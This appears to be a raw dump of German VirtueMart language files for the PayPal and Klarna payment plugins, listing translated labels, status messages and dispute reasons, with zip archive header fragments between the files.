VMPAYMENT_PAYPAL_AMOUNT="Betrag" VMPAYMENT_PAYPAL_AUTOMATIC_FILLOUT="Kassen-Funktionsweise, siehe Behandlung von Adressen (Nur für U.S. Verkäufer)" VMPAYMENT_PAYPAL_CLICK_ON_BUTTON="Falls Sie nicht innerhalb von 10 Sekunden umgeleitet werden, klicken Sie bitte auf die nachfolgende Schaltfläche." VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL="Prozent des Gesamtbetrages" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL_EXPLAIN="Prozent Kosten berechnet vom Gesamtbetrag" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION="Gebühr pro Transaktion" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION_EXPLAIN="Pro Transaktion fälliger Fixbetrag" VMPAYMENT_PAYPAL_COUNTRIES="Länder" VMPAYMENT_PAYPAL_COUNTRIES_DESC="Bitte wählen Sie die Länder, für welche diese Zahlungart angewendet werden soll. Falls kein Land ausgewählt ist, wird diese Zahlungsart für alle Länder angewandt" VMPAYMENT_PAYPAL_CURRENCY="Währungen" VMPAYMENT_PAYPAL_CURRENCY_DESC="Währungen" VMPAYMENT_PAYPAL_CUSTOM="Benutzerdefinierter Wert" VMPAYMENT_PAYPAL_DATE="Datum" VMPAYMENT_PAYPAL_DEBUG="Fehler suchen?" VMPAYMENT_PAYPAL_DEBUG_DESC="Falls aktiviert, werden Zahlungs-Transaktionen im log Ordner protokolliert" VMPAYMENT_PAYPAL_EMAIL="PayPal-Zahlung E-Mail:" VMPAYMENT_PAYPAL_EMAIL_CURRENCY="E-Mail Währung" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_DESC="E-Mail Währung" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_PAYMENT="Zahlungswährung" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_VENDOR="Anbieterwährung" VMPAYMENT_PAYPAL_EMAIL_DESC="Ihre geschäftliche E-Mail-Adresse für PayPal-Zahlungen. Wird auch als 'receiver_email' verwendet." VMPAYMENT_PAYPAL_EMAIL_SENT="E-Mail gesendet" VMPAYMENT_PAYPAL_ERROR_EMAIL_SUBJECT="Fehler bei PayPal-Zahlung" VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION="Ungültige Prüfung der Zahlungsbestätigung (IPN)" VMPAYMENT_PAYPAL_ERROR_POSTING_IPN="Fehler während der Übertragung der sofortigen Zahlungsbestätigung (IPN): %1s, %2d" VMPAYMENT_PAYPAL_INVOICE="Rechnungsnummer" VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED="Paypal Bestätigung erhalten" VMPAYMENT_PAYPAL_LOGOS="Logos" VMPAYMENT_PAYPAL_LOGOS_DESC="Logos, die zusammen mit der Bezeichnung der Zahlung angezeigt werden" VMPAYMENT_PAYPAL_LOG_IPN="Alle IPN Benachrichtigungen protokollieren" VMPAYMENT_PAYPAL_LOG_IPN_DESC="Alle IPN (Sofortige Zahlungsbestätigung) Benachrichtigungen in einer Datei protokollieren. Nur aktivieren, wenn Sie wissen, was Sie tun - und vergessen Sie nicht, es wieder abzuschalten!" VMPAYMENT_PAYPAL_MAX_AMOUNT="Maximalbetrag" VMPAYMENT_PAYPAL_MAX_AMOUNT_EXPLAIN="Maximalbestellwert für diese Zahlungsart" VMPAYMENT_PAYPAL_MERCHANT_EMAIL_NOT_SET="PayPal Verkäufer E-Mail nicht angegeben. Bitte konfigurieren Sie diesen Parameter in Ihrer Zahlungsart PayPal." VMPAYMENT_PAYPAL_MIN_AMOUNT="Mindestbetrag" VMPAYMENT_PAYPAL_MIN_AMOUNT_EXPLAIN="Mindestbestellwert für diese Zahlungsart" VMPAYMENT_PAYPAL_NAME="Bezeichnung der Zahlung" VMPAYMENT_PAYPAL_NO_SHIPPING="Fragt Käufer nach ihrer Lieferadresse" VMPAYMENT_PAYPAL_NO_SHIPPING_DESC="Fragt Käufer nach ihrer Lieferadresse" VMPAYMENT_PAYPAL_NO_SHIPPING_DO_NOT_PROMPT="Nicht nach der Adresse fragen" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT="Nach der Adresse fragen, welche aber nicht erforderlich ist" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT_REQUIRE="Nach der Adresse fragen, welche erforderlich ist" VMPAYMENT_PAYPAL_ONLYVERIFIED="Nur verifizierte Käufer akzeptieren?" VMPAYMENT_PAYPAL_ONLYVERIFIED_EXPLAIN="Hier können Sie wählen, ob Sie nur Zahlungen von Käufern mit einem verifizierten PayPal-Konto akzeptieren. (Wenn ein Konto nicht verifiziert ist, überweist PayPal den Betrag, gibt aber keine volle Garantie für die Bonität der Zahlung)." VMPAYMENT_PAYPAL_ORDER_NUMBER="Bestellnummer" VMPAYMENT_PAYPAL_PARAMS="Paypal Parameter" VMPAYMENT_PAYPAL_PARAMS_DESC="Paypal Parameter" VMPAYMENT_PAYPAL_PAYMENT_AMOUNT_INCORRECT="Unzulässiger Zahlungsbetrag in PayPal" VMPAYMENT_PAYPAL_PAYMENT_CANCELLED="Sie haben ihre Bezahlung abgebrochen" VMPAYMENT_PAYPAL_PAYMENT_EMAIL_CURRENCY="E-Mail Währung" VMPAYMENT_PAYPAL_PAYMENT_INFO="" VMPAYMENT_PAYPAL_PAYMENT_NAME="Zahlungsart Bezeichnung" VMPAYMENT_PAYPAL_PAYMENT_ORDER_TOTAL="Gesamtbetrag der Bestellung an PayPal übermittelt" VMPAYMENT_PAYPAL_PAYMENT_PAGE="ZURÜCK ZUM SHOP" VMPAYMENT_PAYPAL_PAYMENT_PRICE="Zahlung" VMPAYMENT_PAYPAL_PAYMENT_SETTINGS="PARAMETER" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CANCELED="Die Bezahlung für Bestellung %s ist fehlgeschlagen. Ursache:" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED="Ihre Zahlung für die Bestellung %s ist von PayPal bestätigt worden" VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING="Die Bezahlung für Bestellung %s noch ausstehend. Ursache:" VMPAYMENT_PAYPAL_PAYMENT_TITLE="PAYPAL" VMPAYMENT_PAYPAL_PAYMENT_TOTAL_CURRENCY="Summe in Zahlungswährung" VMPAYMENT_PAYPAL_PAYMENT_WARNING="Warnung - In VM2 erhalten Verkäufer und Käufer NUR DANN eine E-Mail, wenn die Transaktion abgeschlossen ist." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ADDRESS="Sie haben keine bestätigte Lieferadresse angegeben" VMPAYMENT_PAYPAL_PENDING_REASON_FE_AUTHORIZATION="Die Zahlungstransaktion wurde auf Authentisierung gesetzt." VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT="Die Zahlung ist offen." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ECHECK="Die Zahlung ist offen, weil sie per Überweisung abgewickelt werden soll, diese aber noch nicht gebucht wurde." VMPAYMENT_PAYPAL_PENDING_REASON_FE_INTL="Die Zahlung ist offen, weil das Konto des Shops kein U.S. Bankkonto ist" VMPAYMENT_PAYPAL_PENDING_REASON_FE_MULTI_CURRENCY="Der Shop wird die Zahlung in dieser Währung manuell akezptieren" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ORDER="Sie haben den Zahlungsvorgang auf 'Bestellt' gesetzt und den Geldbetrag noch nicht abgerufen." VMPAYMENT_PAYPAL_PENDING_REASON_FE_UNILATERAL="Die Zahlung ist offen, weil sie an eine noch nicht registrierte oder bestätigte E-Mail-Adresse gerichtet war." VMPAYMENT_PAYPAL_PLEASE_WAIT="Bitte warten, während Sie weitergeleitet werden auf %s" VMPAYMENT_PAYPAL_REDIRECT_MESSAGE="Bitte warten - Sie werden nach PayPal weitergeleitet" VMPAYMENT_PAYPAL_RESPONSE_BUSINESS="E-Mail-Adresse oder PayPal Kundennummer des Zahlungsempfängers" VMPAYMENT_PAYPAL_RESPONSE_CASE_CREATION_DATE="Datum und Uhrzeit der Registrierung des Konfliktes" VMPAYMENT_PAYPAL_RESPONSE_CASE_ID="Fall-Identifikationsnummer" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE="Fall-Typ" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_CHARGEBACK="Ein Käufer hat einen Rückbuchungsauftrag bei seiner Kreditkarten-Gesellschaft eingereicht, welche PayPal über den Rückbuchungsgrund informiert hat." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_COMPLAINT="Ein Käufer hat eine Beschwerde beim PayPal Konfliktlösungscenter eingereicht." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_DISPUTE="Ein Käufer und ein Verkäufer kommunizieren über das Konfliktlösungscenter miteinander um Probleme ohne Intervention von PayPal zu lösen." VMPAYMENT_PAYPAL_RESPONSE_FIRST_NAME="Vorname des Kunden" VMPAYMENT_PAYPAL_RESPONSE_INVOICE="Rechnung" VMPAYMENT_PAYPAL_RESPONSE_LAST_NAME="Nachname des Kunden" VMPAYMENT_PAYPAL_RESPONSE_MC_CURRENCY="Währung" VMPAYMENT_PAYPAL_RESPONSE_MC_FEE="Transaktionsgebühr" VMPAYMENT_PAYPAL_RESPONSE_MC_GROSS="Voller Betrag der Zahlung des Kunden" VMPAYMENT_PAYPAL_RESPONSE_NOTIFICATION="Mitteilung" VMPAYMENT_PAYPAL_RESPONSE_PARENT_TXN_ID="Transaktionsnummer der ursprünglichen Transaktion" VMPAYMENT_PAYPAL_RESPONSE_PAYER_EMAIL="Primäre E-Mail-Adresse des Kunden" VMPAYMENT_PAYPAL_RESPONSE_PAYER_ID="Eindeutige PayPal-Kundennummer" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_DATE="Datum/Zeit der Zahlungsbestätigung" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS="Status der Zahlung" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON="Grund der Bearbeitung" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ADDRESS="Die Zahlung ist offen, weil der Käufer keine bestätigte Lieferadresse angegeben hat und Sie in Ihrem Profil festgelegt haben, dass Zahlungen in diesem Fall manuell bestätigt oder abgelehnt werden müssen." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_AUTHORIZATION="Die Zahlungstransaktion wurde auf Authentisierung gesetzt und der Geldbetrag noch nicht abgerufen." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ECHECK="Die Zahlung ist offen, weil sie per Überweisung abgewickelt werden soll, diese auf Seiten des Käufers jedoch noch nicht abgeschlossen wurde." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_INTL="Die Zahlung ist offen, weil Ihr Konto kein U.S. Bankkonto ist und keine Transfermöglichkeit eingerichtet ist. Sie müssen die Zahlung manuell von Ihrer Kontoübersicht aus bestätigen oder ablehnen." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_MULTI_CURRENCY="Ihr Konto weist kein Guthaben in der Währung auf und Sie haben in Ihrem Profil nicht festgelegt, dass solche Zahlungen automatisch akzeptiert und umgetauscht werden. Sie müssen die Zahlung manuell bestätigen oder ablehnen." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ORDER="YSie haben den Zahlungsvorgang auf 'Bestellt' gesetzt und den Geldbetrag noch nicht abgerufen." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_OTHER="Die Zahlung ist aus einem anderen Grund offen. Nehmen Sie Kontakt mit dem Kundendienst von PayPal auf, um Genaueres zu erfahren." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_PAYMENTREVIEW="Die Zahlung ist offen, weil PayPal noch eine Risikobewertung vornimmt." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UNILATERAL="Die Zahlung ist offen, weil sie an eine E-Mail-Adresse gerichtet war, die noch nicht bei PayPal registriert oder bestätigt wurde." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UPGRADE="Die Zahlung ist offen, weil sie per Kreditkarte erfolgte und das Konto in ein Geschäftskonto umgewandelt werden muss, um Zahlungen empfangen zu können. Der Wert upgrade kann auch bedeuten, dass der monatliche Höchstbetrag für diese Transaktion ausgeschöpft ist." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_VERIFY="Die Zahlung ist offen, weil Ihr Konto noch nicht verifiziert wurde. Sie müssen das Konto verifizieren lassen, um die Zahlung empfangen zu können." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY="Berechtigung" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE="Grund des Konfliktes" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_ADJUSTMENT_REIMBURSE=": Ein Konflikt wurde gelöst und das Schließen erfordert eine Erstattung." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_DUPLICATE="Der Käufer behauptet, dass ein Betrag doppelt abgebucht wurde." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_MERCHANDISE="Der Käufer behauptet, dass der Artikel beschädigt, defekt oder nicht wie vereinbart geliefert wurde." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NON_RECEIPT="Der Käufer behauptet, den Artikel bezahlt, diesen aber nicht erhalten zu haben." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NOT_AS_DESCRIBED="Der Käufer behauptet, den Artikel erhalten zu haben, welcher aber erheblich von der Beschreibung des Verkäufers abweicht." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_SPECIAL="Andere Gründe, etwa ein Fehler bei der Kreditkartenabwicklung, für den der Verkäufer nicht verantwortlich ist und der nicht zu einer Belastung des Kontos des Verkäufers führt. PayPal versucht den Fehler mit der Kreditkartenfirma zu klären und nimmt ggf. Kontakt mit dem Händler zur Beilegung des Konfliktes auf." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_UNAUTHORIZED="Der Käufer behauptet, die Zahlung nicht autorisiert zu haben." VMPAYMENT_PAYPAL_RESPONSE_RECEIVER_EMAIL="Primäre E-Mail-Adresse des Zahlungsempfängers" VMPAYMENT_PAYPAL_RESPONSE_RESIDENCE_COUNTRY="ISO 3166-Ländercode" VMPAYMENT_PAYPAL_RESPONSE_TAX="MwSt" VMPAYMENT_PAYPAL_RESPONSE_TRANSACTION_SUBJECT="Gegenstand der Transaktion" VMPAYMENT_PAYPAL_RESPONSE_TXN_ID="Die von PayPal generierte eindeutige Transaktionsnummer" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE="IPN Transaktions-Typ" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_ADJUSTMENT="Ein Konflikt wurde gelöst und abgeschlossen" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_NEW_CASE="Ein neuer Konflikt wurde registriert" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_SEND_MONEY="Die Transaktion wurde vom Käufer über die Funktion Geld senden auf der PayPal-Website ausgelöst" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_VIRTUAL_TERMINAL="Zahlung erhalten; Ursprung ist Virtuelles Terminal" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_WEB_ACCEPT="Die Transaktion wurde über einen 'Jetzt kaufen-', Spenden-, oder Auktionsbutton ausgelöst" VMPAYMENT_PAYPAL_RESTRICTIONS="RESTRIKTIONEN" VMPAYMENT_PAYPAL_SANDBOX="Sandkasten" VMPAYMENT_PAYPAL_SANDBOX_DESC="Sandkasten" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT="Händler Sandkasten E-Mail" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT_DESC="Händler Sandkasten E-Mail" VMPAYMENT_PAYPAL_SANDBOX_PARAMS="Paypal Sandkasten Parameter" VMPAYMENT_PAYPAL_SANDBOX_PARAMS_DESC="Paypal Sandkasten Parameter" VMPAYMENT_PAYPAL_SHIPMENT_PRICE="Versandkosten" VMPAYMENT_PAYPAL_STATUS_FAILED="Bestellstatus für fehlgeschlagene Transaktionen" VMPAYMENT_PAYPAL_STATUS_FAILED_EXPLAIN="Wählen Sie einen Bestellstatus für fehlgeschlagene PayPal-Transaktionen." VMPAYMENT_PAYPAL_STATUS_PENDING="Bestellstatus für noch ausstehende Zahlungen" VMPAYMENT_PAYPAL_STATUS_PENDING_EXPLAIN="Der Bestellstatus, auf den Bestellungen gesetzt werden, deren PayPal-Zahlungstransaktion nicht abgeschlossen ist. Die Transaktion wurde in diesem Fall nicht abgebrochen, ist aber in der Schwebe und wartet auf ihren Abschluss." VMPAYMENT_PAYPAL_STATUS_SUCCESS="Bestellstatus für erfolgreiche Transaktionen" VMPAYMENT_PAYPAL_STATUS_SUCCESS_EXPLAIN="Wählen Sie den Bestellstatus aus, auf den die Bestellung gesetzt wird, wenn die PayPal IPN erfolgreich war. Falls Sie das Download Verkaufs-Optionen nutzen: Wählen Sie den Status, der das Herunterladen ermöglicht (so wird der Kunde sofort per E-Mail über den Download benachrichtigt)." VMPAYMENT_PAYPAL_TAX="MwSt" VMPAYMENT_PAYPAL_TAX_EXPLAIN="MwSt auf die Zahlungsgebühr" VMPAYMENT_PAYPAL_THANKYOU="Vielen Dank für Ihre Zahlung." VMPAYMENT_PAYPAL_UNKNOW_ORDER_ID="Unbekannte Bestellnummer" VMPAYMENT_PAYPAL_USER_CANCEL="Zahlung wurde vom Benutzer abgebrochen" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS="Paypal VirtueMart Parameter" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS_DESC="Paypal VirtueMart Parameter" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER="Kunden Sandkasten E-Mail" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER_DESC="Kunden Sandkasten E-Mail"PK@y>\Ϊ1language/de-DE/de-DE.plg_vmpayment_paypal.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Vm Zahlungs-Plugin Paypal"PK@y>\H  7language/de-DE/de-DE.plg_vmcustom_specification.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION="Benutzerdefinierte Produktspezifikation" PK@y>\0/>/>-language/de-DE/de-DE.plg_vmpayment_klarna.ininuW+A; ; $Id$ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; DO NOT TRANSLATE: http://forum.virtuemart.net/index.php?topic=100525.0 ; VMPAYMENT_KLARNA_ADDRESS_CITY="Stadt" VMPAYMENT_KLARNA_ADDRESS_HOMENUMBER="Hausnummer" VMPAYMENT_KLARNA_ADDRESS_HOUSENUMBER_ADDITION="Zusatz" VMPAYMENT_KLARNA_ADDRESS_STREET="Straße" VMPAYMENT_KLARNA_ADDRESS_UPDATED_NOTICE="Ihre Lieferadresse wurde von Klarna aktualisiert." VMPAYMENT_KLARNA_ADDRESS_ZIP="Postleitzahl" VMPAYMENT_KLARNA_ADVERTISEMENT="Zahlen Sie so wenig wie %1s im Monat mit Klarna" VMPAYMENT_KLARNA_BIRTHDAY="Geburtsdatum" VMPAYMENT_KLARNA_CAMPAIGN_AGREEMENT="Aktionsbedingungen" VMPAYMENT_KLARNA_COMMENT_PAY_OPTION="Zahlungsmethode" VMPAYMENT_KLARNA_COMMENT_PURCHASE_ACCEPTED="Der Kauf wurde von Klarna akzeptiert" VMPAYMENT_KLARNA_COMMENT_PURCHASE_PENDING="Der Kauf wurde von Klarna akzeptiert" VMPAYMENT_KLARNA_COMMENT_PURCHASE_REF="Referenz" VMPAYMENT_KLARNA_COMPANY_NAME="Firmenname" VMPAYMENT_KLARNA_COMPANY_NOT_ALLOWED="Sie haben eine Ratenzahlungsoption für ein Unternehmen gewählt, zurzeit sind Ratenkaufbestellungen für Unternehmen nicht möglich." VMPAYMENT_KLARNA_CONF_ACTIVE_COUNTRY="Aktiviertes Land?" VMPAYMENT_KLARNA_CONF_ACTIVE_COUNTRY_DESC="Aktiviertes Land?" VMPAYMENT_KLARNA_CONF_CANT_WRITE_CONFIG="Die Datei %1s konnte nicht erstellt werden. Fehlercode %2s wurde zurückgegeben" VMPAYMENT_KLARNA_CONF_COUNTRIES="Länder" VMPAYMENT_KLARNA_CONF_COUNTRIES_DESC="Wählen Sie die Länder aus in denen Sie Klarna anbieten wollen" VMPAYMENT_KLARNA_CONF_DELETE_ORDER_DENIED="Wollen Sie die abgelehnte Bestellung löschen?" VMPAYMENT_KLARNA_CONF_DELETE_ORDER_DENIED_DESC="Löschen der, von Klarna abgelehnten Bestellung" VMPAYMENT_KLARNA_CONF_DEMO="Wollen Sie den Demo Modus aktivieren?" VMPAYMENT_KLARNA_CONF_DEMO_DESC2="Klicken Sie hier, um das Handbuch für den Demo Modus herunterzuladen (pdf)" VMPAYMENT_KLARNA_CONF_DEMO_DESC="Testen Sie die Klarnas Zahlungslösungen bevor Sie sich anmelden" VMPAYMENT_KLARNA_CONF_DISTRIBUTION_INVOICE="Versenden Sie die Rechnung bitte immer per E-Mail" VMPAYMENT_KLARNA_CONF_DISTRIBUTION_INVOICE_DESC="Die Rechnung wird immer sofort versendet sobald die Bestellung aktiviert wurde" VMPAYMENT_KLARNA_CONF_DOC="Klicken Sie hier, um das Handbuch herunterzuladen" VMPAYMENT_KLARNA_CONF_FETCH_PCLASSES="Ratenzahlungsmodalitäten abrufen" VMPAYMENT_KLARNA_CONF_INVOICE_FEE="Rechnungsgebühr" VMPAYMENT_KLARNA_CONF_INVOICE_FEE_DESC="Die Rechnungsgebühr wird in der Währung Ihres Shops angegeben" VMPAYMENT_KLARNA_CONF_INVOICE_TAX="Steuerklasse der Rechnungsgebühr" VMPAYMENT_KLARNA_CONF_MERCHANT_ID="E-store ID" VMPAYMENT_KLARNA_CONF_MERCHANT_ID_DESC="Die E-store ID authentifiziert Ihren Shop gegenüber Klarna" VMPAYMENT_KLARNA_CONF_MINIMUM_AMOUNT_PART="Mindestbetrag des Ratenkaufes" VMPAYMENT_KLARNA_CONF_MINIMUM_AMOUNT_PART_DESC="Mindestbetrag des Ratenkaufes wird in der shop Währung angezeigt" VMPAYMENT_KLARNA_CONF_MODE="An welchen Server sollen die Anfragen gesendet werden?" VMPAYMENT_KLARNA_CONF_MODE_BETA="Beta" VMPAYMENT_KLARNA_CONF_MODE_DESC="An welchen Server sollen die Anfragen gesendet werden?" VMPAYMENT_KLARNA_CONF_MODE_LIVE="Live" VMPAYMENT_KLARNA_CONF_MODULE="Aktive Module" VMPAYMENT_KLARNA_CONF_MODULE_DESC="Aktive Module" VMPAYMENT_KLARNA_CONF_MODULE_INVOICE="Klarna Rechnung" VMPAYMENT_KLARNA_CONF_MODULE_PARTPAYMENT="Klarna Ratenkauf" VMPAYMENT_KLARNA_CONF_MODULE_SPECCAMP="Klarna Kampagnen" VMPAYMENT_KLARNA_CONF_NEW_ORDER_STATUS="Order Status einer neuen Bestellung" VMPAYMENT_KLARNA_CONF_NEW_ORDER_STATUS_DESC="Status den die neue Bestellung erhalten soll" VMPAYMENT_KLARNA_CONF_NO_PCLASSES="Keine Ratenzahlungsmodalitäten gefunden" VMPAYMENT_KLARNA_CONF_PAYMENTS="Aktivierte Bezahlungsmethoden" VMPAYMENT_KLARNA_CONF_PAYMENTS_DESC="Wählen Sie die aktivierten Zahlungsmethoden" VMPAYMENT_KLARNA_CONF_PAYMENTS_INVOICE="Rechnung" VMPAYMENT_KLARNA_CONF_PAYMENTS_PART="Ratenkauf" VMPAYMENT_KLARNA_CONF_PAYMENT_PAGE="Zurück zum Shop" VMPAYMENT_KLARNA_CONF_PCLASSES="Klarna Ratenzahlungsmodalitäten" VMPAYMENT_KLARNA_CONF_SETTINGS_DA="Dänemark" VMPAYMENT_KLARNA_CONF_SETTINGS_DE="Deutschland" VMPAYMENT_KLARNA_CONF_SETTINGS_FI="Finnland" VMPAYMENT_KLARNA_CONF_SETTINGS_NB="Norwegen" VMPAYMENT_KLARNA_CONF_SETTINGS_NL="Niederlande" VMPAYMENT_KLARNA_CONF_SETTINGS_SV="Schweden" VMPAYMENT_KLARNA_CONF_SHARED_SECRET="'Shared Secret' oder 'Gemeinsames Klarna Passwort'" VMPAYMENT_KLARNA_CONF_SHARED_SECRET_DESC="Das Shared Secret dient dazu die Datenübermittlung zwischen Ihrem Shop und Klarna zu sichern" VMPAYMENT_KLARNA_CONF_SIGNUP="Klicken Sie auf das Banner/das Logo, um sich bei Klarna anzumelden" VMPAYMENT_KLARNA_CONF_STATUS_DENIED="Order Status einer abgelehnten Transaktion" VMPAYMENT_KLARNA_CONF_STATUS_DENIED_DESC="Order Status den eine abgelehnte Bestellung erhalten soll" VMPAYMENT_KLARNA_CONF_STATUS_FAILED="Order Status einer abgelehnten Bestellung" VMPAYMENT_KLARNA_CONF_STATUS_FAILED_DESC="Order Status den eine abgelehnte Bestellung erhalten soll" VMPAYMENT_KLARNA_CONF_STATUS_PENDING=" Order Status einer wartenden Bestellung (pending) " VMPAYMENT_KLARNA_CONF_STATUS_PENDING_DESC="Order Status den eine wartende Bestellung (pending) erhalten soll (wartend auf Genehmigung)" VMPAYMENT_KLARNA_CONF_STATUS_SHIPPED="Order Status einer aktivierten/versendeten Bestellung" VMPAYMENT_KLARNA_CONF_STATUS_SHIPPED_DESC="Wenn die Artikel bereit für den Versand sind. Aktivieren bedeutet, dass der Händler die Bestellung im Shop aktiviert und damit die Zahlungsfrist für den Kunden beginnt (bei Rechnung sind das üblicherweise 14 Tage)." VMPAYMENT_KLARNA_CONF_STATUS_SUCCESS="Order Status einer genehmigten Bestellung" VMPAYMENT_KLARNA_CONF_STATUS_SUCCESS_DESC="Order Status den eine genehmigte Bestellung erhalten soll" VMPAYMENT_KLARNA_CONF_STATUS_SUCCESS_DESC="VirtueMart Order Status für erfolgreiche Bonitätsprüfung" VMPAYMENT_KLARNA_CONF_UPDATE_PCLASSES="Ratenzahlungsmodalitäten updaten" VMPAYMENT_KLARNA_CONSENT="Mit der Übermittlung der für die Abwicklung des Rechnungskaufes und einer Identitäts- und Bonitätsprüfung erforderlichen Daten an Klarna bin ich einverstanden. Meine Einwilligung kann ich jederzeit mit Wirkung für die Zukunft widerrufen." VMPAYMENT_KLARNA_DATE_DAY="Tag" VMPAYMENT_KLARNA_DATE_MONTH="Monat" VMPAYMENT_KLARNA_DATE_YEAR="Jahr" VMPAYMENT_KLARNA_DELIVERY_ADDRESS="Lieferadresse" VMPAYMENT_KLARNA_EMAIL_ADDRESS="E-Mail" VMPAYMENT_KLARNA_ERROR_CURRENCY="Ungültige Währung" VMPAYMENT_KLARNA_ERROR_NO_ADDRESS="Keine Adresse gefunden" VMPAYMENT_KLARNA_ERROR_SAVE_INPUTVALUE="Die Angaben konnten nicht gespeichert werden." VMPAYMENT_KLARNA_ERROR_SHIPPING_MUST_MATCH_BILLING="Ihre Lieferadresse muss mit Ihrer Rechnungsadresse übereinstimmen." VMPAYMENT_KLARNA_ERROR_TITLE_1="Die folgende Information konnte nicht verifiziert werden:" VMPAYMENT_KLARNA_ERROR_TITLE_2="Bitte überprüfen Sie Ihre persönlichen Daten." VMPAYMENT_KLARNA_ERROR_VMPAYMENT_KLARNA_TITLE="Klarna Rechnung Fehler" VMPAYMENT_KLARNA_FIRST_NAME="Vorname" VMPAYMENT_KLARNA_FORMAT_INVOICEFEE_NOT_INCLUDED="Invoice fee of %s will be added" VMPAYMENT_KLARNA_IMG_LOGO_PART="Klarna Ratenkauf" VMPAYMENT_KLARNA_INVOICE_CONFIRM_DESCRIPTION="www.klarna.de" VMPAYMENT_KLARNA_INVOICE_CREATED_SUCCESSFULLY="Die Rechunung Nr: %s wurde erstellt" VMPAYMENT_KLARNA_INVOICE_FEE_TITLE="Rechnungsgebühr" VMPAYMENT_KLARNA_INVOICE_NUMBER_TEXT="Klarna Rechnungsnummer" VMPAYMENT_KLARNA_INVOICE_STRING="Rechnung" VMPAYMENT_KLARNA_INVOICE_TEXT_DESCRIPTION="Rechnungskauf von Klarna" VMPAYMENT_KLARNA_INVOICE_TITLE="Klarna Rechnung - Zahlung innerhalb von 14 Tage (+%s)" VMPAYMENT_KLARNA_INVOICE_TITLE_NO_PRICE="Klarna Rechnung - Zahlung innerhalb von 14 Tage" VMPAYMENT_KLARNA_INVOICE_TYPE="Typ" VMPAYMENT_KLARNA_INVOICE_TYPE_COMPANY="Firma" VMPAYMENT_KLARNA_INVOICE_TYPE_PRIVATE="Privatperson" VMPAYMENT_KLARNA_KLARNA_INVOICE_AGREEMENT="Rechnungsbedingungen" VMPAYMENT_KLARNA_KLARNA_PART_AGREEMENT="Bedingungen für Klarna Ratenkauf" VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_DE="Sie haben die deutschen Zahlungsoptionen gewählt. Bitte beachten Sie, dass dies nur eine übersetzte Darstellung der deutschen Zahlungsoptionen des Systems ist. Ändern Sie Ihre Währung und Ihr Land, wenn Sie die für Ihr Land verfügbaren Zahlungsoptionen anzeigen möchten." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_DK="Sie haben die dänischen Zahlungsoptionen gewählt. Bitte beachten Sie, dass dies nur eine übersetzte Darstellung der dänischen Zahlungsoptionen des Systems ist. Ändern Sie Ihre Währung und Ihr Land, wenn Sie die für Ihr Land verfügbaren Zahlungsoptionen anzeigen möchten." 